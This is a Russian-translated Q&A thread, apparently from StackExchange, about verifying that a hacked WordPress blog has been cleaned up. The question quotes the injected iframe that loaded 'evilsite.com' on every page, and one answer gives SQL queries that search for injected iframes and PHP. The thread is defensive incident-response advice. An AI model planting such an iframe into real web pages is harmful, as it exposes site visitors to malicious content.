Проверка того, что я полностью удалил взлом WordPress?


106

Мой забавный блог на WordPress по адресу http://fakeplasticrock.com (работает под управлением WordPress 3.1.1) был взломан - он показывал <iframe>на каждой странице примерно так:

<iframe src="http://evilsite.com/go/1"></iframe>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> 

Я сделал следующее

  1. Обновлен до 3.1.3 через встроенную систему обновления WordPress
  2. Установил сканер эксплойтов (много критических предупреждений о необычных файлах) и антивирус (он показывал все зеленым и чистым, поэтому я удалил и удалил его после запуска)
  3. Изменен пароль MySQL.
  4. Изменены все пароли пользователей WordPress.
  5. Подключился через FTP и загрузил всю файловую систему (небольшая, это общий хостинг для WordPress только для Linux)
  6. Сравнить при файловой системе против официального ZIP в WordPress 3.1.3 и удалено или переписал все , что не совпадает.

Я совершенно уверен, что

  • все файлы на диске являются официальными файлами WordPress 3.1.3
  • на диске нет «лишних» файлов, кроме моего /theme, плагина Exploit Scanner (который я только что скачал), /uploadsпапки и небольшого количества других ожидаемых файлов. Мой другой плагин, wp-recaptcha, соответствует текущей официальной загруженной версии.
  • Я также проверил .htaccessфайл и там ничего не выглядит неправильно

Сравнение файлов WordPress 3.1.3 в Beyond Compare

Я не трогал базу данных , но мне трудно думать, как что-либо в базе данных может быть вредоносным без специального кода PHP, чтобы заставить его работать?

Мой блог на WordPress теперь выглядит нормально и без взлома (я думаю), но есть ли что-то еще, что я должен проверить?


1
Вы должны держать блог в актуальном состоянии. :)
fuxia

Ответы:


81

Вы определили вектор эксплойтов? Если нет, вы можете оставить себя открытым для будущей эксплуатации.

Другие вещи для рассмотрения:

  1. Изменить пароли администратора WordPress - готово
  2. Изменить пароль пользователя учетной записи хостинга
  3. Изменить пароли FTP
  4. Изменить пароль пользователя базы данных MySQL - сделано
  5. Изменить префикс таблицы БД
  6. Обновите свой wp-config nonces / salt
  7. Проверьте ваш каталог / файл разрешений
  8. Блокировать доступ к каталогам через .htaccess
  9. Пройдите через все в Укреплении WordPress Codex.
  10. Пройдите через все в FAQ Мой сайт был взломан запись Codex

1
извините, не упомянул - я поменял пароли WordPress, конечно. Обновил пост и отметился здесь! Я не могу придумать, каким образом они могли бы получить мой пароль хостинга или пароль FTP, просто войдя в WordPress; эта информация нигде не находится в файловой системе или базе данных.
Джефф Этвуд

9
У вас есть вероятный вектор эксплойтов в обратном направлении; это скорее всего не WordPress -> учетная запись хостинга , а скорее учетная запись хостинга (через сервер или FTP) -> WordPress .
Чип Беннетт

2
@Jeff некоторые эксплойты на уровне сервера, которые вы не можете контролировать (кроме поиска лучшего хоста). Но то, что вы не использовали учетные данные хоста / FTP, не означает, что кто-то их не украл , получив доступ к вашей учетной записи хостинга.
Чип Беннетт

7
Существует очень распространенный способ обхода, когда вредоносное ПО заражает вашу рабочую станцию ​​(или рабочую станцию ​​подрядчика), копает сохраненные пароли в вашей любимой программе FTP (или с поддержкой FTP) и отправляет их злоумышленнику, который затем взломает ваш сайт и использует его для распространения той же вредоносной программы для других веб-мастеров. Это один из распространенных способов кражи вашего FTP-пароля. Что особенно коварно, так это то, что он распространяется по обычным сайтам, таким как ваш, а не по местам, где вы, вероятно, будете осторожны
Tylerl

3
К вашему сведению, если у вас есть доступ к командной строке, в WP-CLI есть команда проверки контрольных сумм, которая будет проверять каждый файл на соответствие wordpress.org
Уильям Туррелл,

26

Глядя на сообщение "безопасного просмотра" в Google Chrome, вы получаете ".cc iFrame hack", который в последнее время, похоже, обходит много. Я думаю, что 3.1.3 это исправит, но проверьте ваш файл index.php в корне, если ваш сайт, вот где он продолжал бить меня, пока я не обновил ВСЕ и не изменили пароли.

Есть некоторые ОЧЕНЬ хитрые вещи, которые люди могут делать с постами и комментариями. Вы можете выполнить следующие запросы к своей базе данных, чтобы помочь найти некоторые из них, которые я оставил в блоге, оставляя свои «отслеживания» здесь .

SELECT * FROM wp_posts WHERE post_content LIKE '%<iframe%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%<noscript%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%display:%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%<?%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%<?php%'
SELECT * FROM wp_comments WHERE comment_content LIKE '%<iframe%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%<noscript%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%display:%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%<?%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%<?php%'

Надеюсь это поможет!


4
Я бы добавил SELECT * FROM wp_* WHERE comment_content LIKE '%<?%'и SELECT * FROM wp_* WHERE comment_content LIKE '%<?php%'просто чтобы быть уверенным ...
SeanJA

4
О, последнее замечание Я предполагаю, что у вас есть инструменты Google для веб-мастеров, привязанные к этому домену. После того, как вы все очистите, вы можете отправить запрос из своей учетной записи инструментов для веб-мастеров, чтобы Google повторно просканировал сайт и удалил предупреждающее сообщение. Они обрабатывают запросы от инструментов для веб-мастеров, как правило, в течение дня. В противном случае вы попадете в «непослушный список» на добрые 90 дней.
Дилли-О

Нашел кучу результатов, но это из-за встроенных фреймов для Vimeo.
tooshel

20

База данных также может содержать вредоносный код: скрытые учетные записи пользователей или значения, которые где-то распечатываются. Кроме того, проверьте свой каталог загрузки для файлов, которые не принадлежат там.

Да, и попытайтесь понять, как злоумышленник проник на ваш сайт. На общих счетах это часто целый сервер. Проверьте другие сайты на сервере на предмет взломанных блогов или других страниц. Прочитайте свой журнал FTP. Если вы не знаете, как это произошло, вы не сможете предотвратить следующий перерыв.


Разве сканер эксплойтов не найдет скрытых учетных записей пользователей?
Джефф Этвуд

@ Джефф Этвуд Я бы на это не рассчитывал. Ваша таблица пользователей не такая большая. Вы можете легко прочитать его без каких-либо плагинов.
fuxia

Я проверил wp_usersтаблицу и только 2 строки, обе ожидаемые .. ничего /uploadнеобычного в папке (только gifs, pngs и jpegs)
Джефф Этвуд

@Джефф Этвуд Вы смотрели в файлы или только на расширения? Все ли эти файлы перечислены в библиотеке мультимедиа?
fuxia

4
Файлы изображений являются довольно распространенным методом доставки полезной нагрузки. Смотрите здесь , и группа по обзору тем также столкнулась с темами, используя подобный эксплойт TIFF.) Итак, да: я бы проверил каждый из них, чтобы убедиться, что он является частью библиотеки мультимедиа. (Простое высокоуровневое сканирование: проверьте наличие изображений, для которых не определены размеры эскизов.)
Чип Беннетт

13

Жаль слышать, что вас взломали - похоже, вы хорошо поработали над восстановлением!

Ваша файловая система звучит прекрасно, я бы не сказал, что вы могли бы здесь что-то сделать.

Я бы подумал, что Exploit Scanner выдаст предупреждение, если обнаружит в вашей базе данных какие-либо скрипты, iframes, PHP (хотя опасно только если eval'd) или другой необычный код.

Я не уверен, что если он проверяет таблицы, отличные от постов и комментариев, возможно, стоит /wp-admin/options.phpвзглянуть на него быстро и посмотреть, заметите ли вы что-нибудь странное.

Я также проверил бы вашу таблицу пользователей в клиенте MySQL (пользователи могут быть в базе данных, но не видны в администраторе).


безусловно, хорошая идея выполнить запрос MySQL к таблице пользователей, чтобы убедиться, что ничего неожиданного там нет, и я сделал это. Хороший совет!
Джефф Этвуд

8

Проверьте инструменты Google для веб-мастеров на две вещи:

  • убедитесь, что ваш сайт не помечен как скомпрометированный, и запросите повторное рассмотрение, если оно имеет
  • проверьте ваш сайт как Googlebot и убедитесь, что там нет спама, который виден только Googlebot - примером этого является взлом WP Pharma

Кроме того, я бы повторно реализовал тему или проверил ее очень тщательно. Несколько строк PHP могут переопределить основные функции PHP, чтобы они извлекали вредоносный код из базы данных, особенно таблицы хранилища ключей / значений wp_options


да, я определенно повторно отправил сайт с помощью Инструментов Google для веб-мастеров, и теперь он "очищен".
Джефф Этвуд

6

Поиск в базе данных с помощью phpmyadmin для «iframe» или дамп базы данных и поиск по тексту.

И проверьте наличие невидимых пользователей в таблице пользователей; Я видел пользователей в таблицах, которые не отображаются в WP Admin >> Users.

Очистить параметры «Плагины WordPress покажут, какие ненужные из старых и, возможно, уязвимых плагинов остаются в базе данных.

В вашей теме также отсутствует <head>тег, поэтому я бы проверил это в случае, если вы отредактировали тему, чтобы удалить плохие ссылки.

И как обычно: и Как найти бэкдор в взломанном WordPress и укрепить WordPress «WordPress Codex


5

"Есть ли что-нибудь еще, что я должен проверить?" Вам нужно проверить свой процесс, выяснить, как вас взломали (почти наверняка, потому что вы не исправили вовремя или правильно), и исправить это тоже, а не только симптомы.


5
Я сомневаюсь, что это было связано с не обновлением WordPress (хотя это возможно , это просто маловероятно ). Сам по себе WordPress почти никогда не является вектором эксплойтов. Обычные векторы - небезопасная конфигурация хоста и украденные учетные данные FTP.
Чип Беннетт

4

Это случилось со мной один раз, через утечку на среднем уровне. Мне пришлось написать плагин, чтобы проверить базу данных на наличие вставленных ссылок. Вы можете взять его здесь как GitHub Gist .

Это довольно удобно для пользователя, имеет несколько шагов, которые обеспечивают обратную связь и повторно проверяют вашу базу данных после того, как вы закончите.

Удачи!


4

У меня был очень похожий взлом, который я должен был исправить на одном из моих клиентских сайтов.

В файловой системе были вредоносные скрипты (php base64_decode). Однако таблицы базы данных «записи» и «комментарии» были скомпрометированы, и код iframe также был разбросан по этим данным.

Я бы хотя бы провел несколько поисков в БД, просто чтобы быть в безопасности. :)


3

Проверьте ваши плагины!, Пока в этом году было 60 выпусков эксплойтов от .org плагинов, я подозреваю, что реальное число будет намного выше, так как никто не занимается этим на полную ставку.

Вы указали, что у вас есть только один плагин, ну, у него была дыра в безопасности (не знаю, как долго он отсутствовал, и это может быть не вектор).

wp-recaptcha-plugin
Эксплойт выпущен: 2011-03-18
Версия эксплойта: 2.9.8

Автор заявил, что переписал с версией 3.0, но нет упоминания о патче безопасности.

http://www.wpsecure.net/2011/03/wp-recaptcha-plugin/

Журнал изменений: http://wordpress.org/extend/plugins/wp-recaptcha/changelog/


2

Я использую облачный сервер и у меня есть случайные номера порта SSH вообще без ftp. Пароли чрезвычайно сложно взломать. Все права доступа root полностью запрещены. Я согласен, что WordPress не будет вашим виновником. Еще одна вещь, которую нужно проверить, это то, что сеансы ftp не закрываются, вирус на вашем персональном компьютере (помните, что вы можете загрузить файл на свой сайт, и тот, кто загружает этот файл, может получить тот же вирус), а также не хранить свои пароли на общедоступных или закрытых сайтах. сайты всегда размещают их на бумаге, а не на текстовом документе или блокноте.

Наконец, спросите у своего хоста, были ли у них недавно нарушения, так как они должны иметь настройку брандмауэра


2

Проверьте дату ваших файлов. Ни в одном файле не должно быть данных об изменениях, более новых, чем ваша последняя правка / установка!

Но также это может быть подделано. Единственный способ убедиться в этом - сравнить (например, сравнить хэш) все файлы с исходными установочными файлами.

Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.